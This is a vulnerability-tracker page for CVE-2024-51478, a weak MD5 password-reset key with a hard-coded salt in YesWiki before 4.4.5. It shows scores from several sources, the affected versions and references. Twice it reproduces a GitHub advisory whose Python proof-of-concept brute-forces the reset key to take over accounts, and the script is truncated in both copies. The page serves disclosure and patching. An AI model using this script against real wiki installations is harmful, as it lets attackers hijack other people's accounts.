CVE-2024-51478
Use of a Broken or Risky Cryptographic Algorithm in YesWiki
YesWiki is a wiki system written in PHP. Prior to 4.4.5, the use of a weak cryptographic algorithm and a hard-coded salt to hash the password reset key allows it to be recovered and used to reset the password of any account. This issue is fixed in 4.4.5.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- Low
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
9.9
Use of a Broken or Risky Cryptographic Algorithm in YesWiki
YesWiki is a wiki system written in PHP. Prior to 4.4.5, the use of a weak cryptographic algorithm and a hard-coded salt to hash the password reset key allows it to be recovered and used to reset the password of any account. This issue is fixed in 4.4.5.
- Record
CVE-2024-51478- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L - Weakness
- CWE-327
- Updated
- 2026-11-02
EUVDEUVD-2024-2932
9.9
YesWiki is a wiki system written in PHP. Prior to 4.4.5, the use of a weak cryptographic algorithm and a hard-coded salt to hash the password reset key allows it to be recovered and used to reset the password of any account. This issue is fixed in 4.4.5.
- Record
EUVD-2024-2932- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-4fvx-h823-38v3
7.8
YesWiki Uses a Broken or Risky Cryptographic Algorithm
Summary
The use of a weak cryptographic algorithm and a hard-coded salt to hash the password reset key allows it to be recovered and used to reset the password of any account.
Details
Firstly, the salt used to hash the password reset key is hard-coded in the includes/services/UserManager.php file at line 36 :
private const PW_SALT = 'FBcA';
Next, the application uses a weak cryptographic algorithm to hash the password reset key. The hash algorithm is defined in the includes/services/UserManager.php file at line 201 :
protected function generateUserLink($user)
{
// Generate the password recovery key
$key = md5($user['name'] . '_' . $user['email'] . random_int(0, 10000) . date('Y-m-d H:i:s') . self::PW_SALT);
The key is generated from the user's name, e-mail address, a random number between 0 and 10000, the current date of the request and the salt. If we know the user's name and e-mail address, we can retrieve the key and use it to reset the account password with a bit of brute force on the random number.
Proof of Concept (PoC)
To demonstrate the vulnerability, I created a python script to automatically retrieve the key and reset the password of a provided username and email.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Author: Nishacid
# YesWiki <= 4.4.4 Account Takeover via Weak Password Reset Crypto
from hashlib import md5
from requests import post, get
from base64 import b64encode
from sys import exit
from datetime import datetime
from concurrent.futures import ThreadPoolExecutor, as_completed
from argparse import ArgumentParser
# Known data
salt = 'FBcA' # Hardcoded salt
random_range = 10000 # Range for random_int()
WORKERS = 20 # Number of workers
# Arguments
def parseArgs():
parser = ArgumentParser()
parser.add_argument("-u", "--username", dest="username", default=None, help="Username of the account", required=True)
parser.add_argument("-e", "--email", dest="email", default=None, help="Email of the account", required=True)
parser.add_argument("-d", "--domain", dest="domain", default=None, help="Domain of the target", required=True)
return parser.parse_args()
# Reset password request and get timestamp
def reset_password(email: str, domain: str):
response = post(
f'{domain}?MotDePassePerdu',
data={
'email': email,
'subStep': '1'
},
headers={
'Content-Type': 'application/x-www-form-urlencoded'
}
)
if response.ok:
timestamp = datetime.now() # obtain the timestamp
timestamp = timestamp.strftime('%Y-%m-%d %H:%M:%S')
print(f"[*] Requesting link for {email} at {timestamp}")
return timestamp
else:
print("[-] Error while resetting password.")
exit()
# Generate and check keys
def check_key(random_int_val: int, timestamp_req: str, domain: str, username: str, email: str):
user_base64 = b64encode(username.encode()).decode()
data = f"{username}_{email}{random_int_val}{timestamp_req}{salt}"
hash_candidate = md5(data.encode()).hexdigest()
url = f"{domain}?MotDePassePerdu&a=recover&email={hash_candidate}&u={user_base64}"
# print(f"[*] Checking {url}")
response = get(url)
# Check if the link is valid, warning depending on the language
if '<strong>Bienvenu.e' in response.text or '<strong>Welcome' in response.text:
return (True, random_int_val, hash_candidate, url)
return (False, random_int_val, None, None)
def main(timestamp_req: str, domain: str, username: str, email: str):
# Launch the brute-force
print(f"[*] Starting brute-force, it can take few minutes...")
with ThreadPoolExecutor(max_workers=WORKERS) as executor:
futures = [executor.submit(check_key, i, timestamp_req, domain, username, email) for i in range(random_range + 1)]
for future in as_completed(futures):
success,…
- Record
GHSA-4fvx-h823-38v3- CVSS 4.0
- 7.8 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:L - CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L - Weakness
- CWE-327
- Updated
- 2026-11-02
NVD
9.9
YesWiki is a wiki system written in PHP. Prior to 4.4.5, the use of a weak cryptographic algorithm and a hard-coded salt to hash the password reset key allows it to be recovered and used to reset the password of any account. This issue is fixed in 4.4.5.
- Record
CVE-2024-51478- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L - CVSS 3.1
- 9.1 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-327
- Updated
- 2026-11-02
OSV
9.9
Use of a Broken or Risky Cryptographic Algorithm in YesWiki
YesWiki is a wiki system written in PHP. Prior to 4.4.5, the use of a weak cryptographic algorithm and a hard-coded salt to hash the password reset key allows it to be recovered and used to reset the password of any account. This issue is fixed in 4.4.5.
- Record
CVE-2024-51478- CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L - Weakness
- CWE-327
- Updated
- 2026-11-02
OSVGHSA-4fvx-h823-38v3
7.8
YesWiki Uses a Broken or Risky Cryptographic Algorithm
Summary
The use of a weak cryptographic algorithm and a hard-coded salt to hash the password reset key allows it to be recovered and used to reset the password of any account.
Details
Firstly, the salt used to hash the password reset key is hard-coded in the includes/services/UserManager.php file at line 36 :
private const PW_SALT = 'FBcA';
Next, the application uses a weak cryptographic algorithm to hash the password reset key. The hash algorithm is defined in the includes/services/UserManager.php file at line 201 :
protected function generateUserLink($user)
{
// Generate the password recovery key
$key = md5($user['name'] . '_' . $user['email'] . random_int(0, 10000) . date('Y-m-d H:i:s') . self::PW_SALT);
The key is generated from the user's name, e-mail address, a random number between 0 and 10000, the current date of the request and the salt. If we know the user's name and e-mail address, we can retrieve the key and use it to reset the account password with a bit of brute force on the random number.
Proof of Concept (PoC)
To demonstrate the vulnerability, I created a python script to automatically retrieve the key and reset the password of a provided username and email.
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Author: Nishacid
# YesWiki <= 4.4.4 Account Takeover via Weak Password Reset Crypto
from hashlib import md5
from requests import post, get
from base64 import b64encode
from sys import exit
from datetime import datetime
from concurrent.futures import ThreadPoolExecutor, as_completed
from argparse import ArgumentParser
# Known data
salt = 'FBcA' # Hardcoded salt
random_range = 10000 # Range for random_int()
WORKERS = 20 # Number of workers
# Arguments
def parseArgs():
parser = ArgumentParser()
parser.add_argument("-u", "--username", dest="username", default=None, help="Username of the account", required=True)
parser.add_argument("-e", "--email", dest="email", default=None, help="Email of the account", required=True)
parser.add_argument("-d", "--domain", dest="domain", default=None, help="Domain of the target", required=True)
return parser.parse_args()
# Reset password request and get timestamp
def reset_password(email: str, domain: str):
response = post(
f'{domain}?MotDePassePerdu',
data={
'email': email,
'subStep': '1'
},
headers={
'Content-Type': 'application/x-www-form-urlencoded'
}
)
if response.ok:
timestamp = datetime.now() # obtain the timestamp
timestamp = timestamp.strftime('%Y-%m-%d %H:%M:%S')
print(f"[*] Requesting link for {email} at {timestamp}")
return timestamp
else:
print("[-] Error while resetting password.")
exit()
# Generate and check keys
def check_key(random_int_val: int, timestamp_req: str, domain: str, username: str, email: str):
user_base64 = b64encode(username.encode()).decode()
data = f"{username}_{email}{random_int_val}{timestamp_req}{salt}"
hash_candidate = md5(data.encode()).hexdigest()
url = f"{domain}?MotDePassePerdu&a=recover&email={hash_candidate}&u={user_base64}"
# print(f"[*] Checking {url}")
response = get(url)
# Check if the link is valid, warning depending on the language
if '<strong>Bienvenu.e' in response.text or '<strong>Welcome' in response.text:
return (True, random_int_val, hash_candidate, url)
return (False, random_int_val, None, None)
def main(timestamp_req: str, domain: str, username: str, email: str):
# Launch the brute-force
print(f"[*] Starting brute-force, it can take few minutes...")
with ThreadPoolExecutor(max_workers=WORKERS) as executor:
futures = [executor.submit(check_key, i, timestamp_req, domain, username, email) for i in range(random_range + 1)]
for future in as_completed(futures):
success,…
- Record
GHSA-4fvx-h823-38v3- CVSS 4.0
- 7.8 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:L - CVSS 3.1
- 9.9 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L - Weakness
- CWE-327
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
yeswiki/yeswikiPackagist |
through 4.4.4 | 4.4.5 |
yeswiki/yeswikiPackagist |
before 4.4.5, plus listed versions 4.2.3v4.1.0v4.1.1v4.1.2v4.1.3 Show 13 moreShow lessv4.1.4v4.1.5v4.2.0v4.2.1v4.2.2v4.2.4v4.3v4.3.1v4.4.0v4.4.1v4.4.2v4.4.3v4.4.4 |
4.4.5 |
History
| Recorded | Changed | Sources |
|---|---|---|
| aliases, published | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2024-51478 is a critical vulnerability (CVSS 9.9) in Yeswiki, published October 31, 2024. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.37%, the 31st percentile. Fixed in yeswiki/yeswiki 4.4.5.
References
github.com/YesWiki/yeswiki/security/advisories/GHSA-4fvx-h823-38v3
github.com/YesWiki/yeswiki/commit/b5a8f93b87720d5d5f033a4b3a131ce0fb621dbc
github.com/YesWiki/yeswiki/commit/e1285709f6f6a2277bd0075acf369f33cefd78f7
nvd.nist.gov/vuln/detail/CVE-2024-51478
github.com/advisories/GHSA-4fvx-h823-38v3
github.com/CVEProject/cvelistV5/tree/main/cves/2024/51xxx/CVE-2024-51478.json
github.com/YesWiki/yeswiki
Left out here: the rest of 2 source descriptions. The JSON record has them.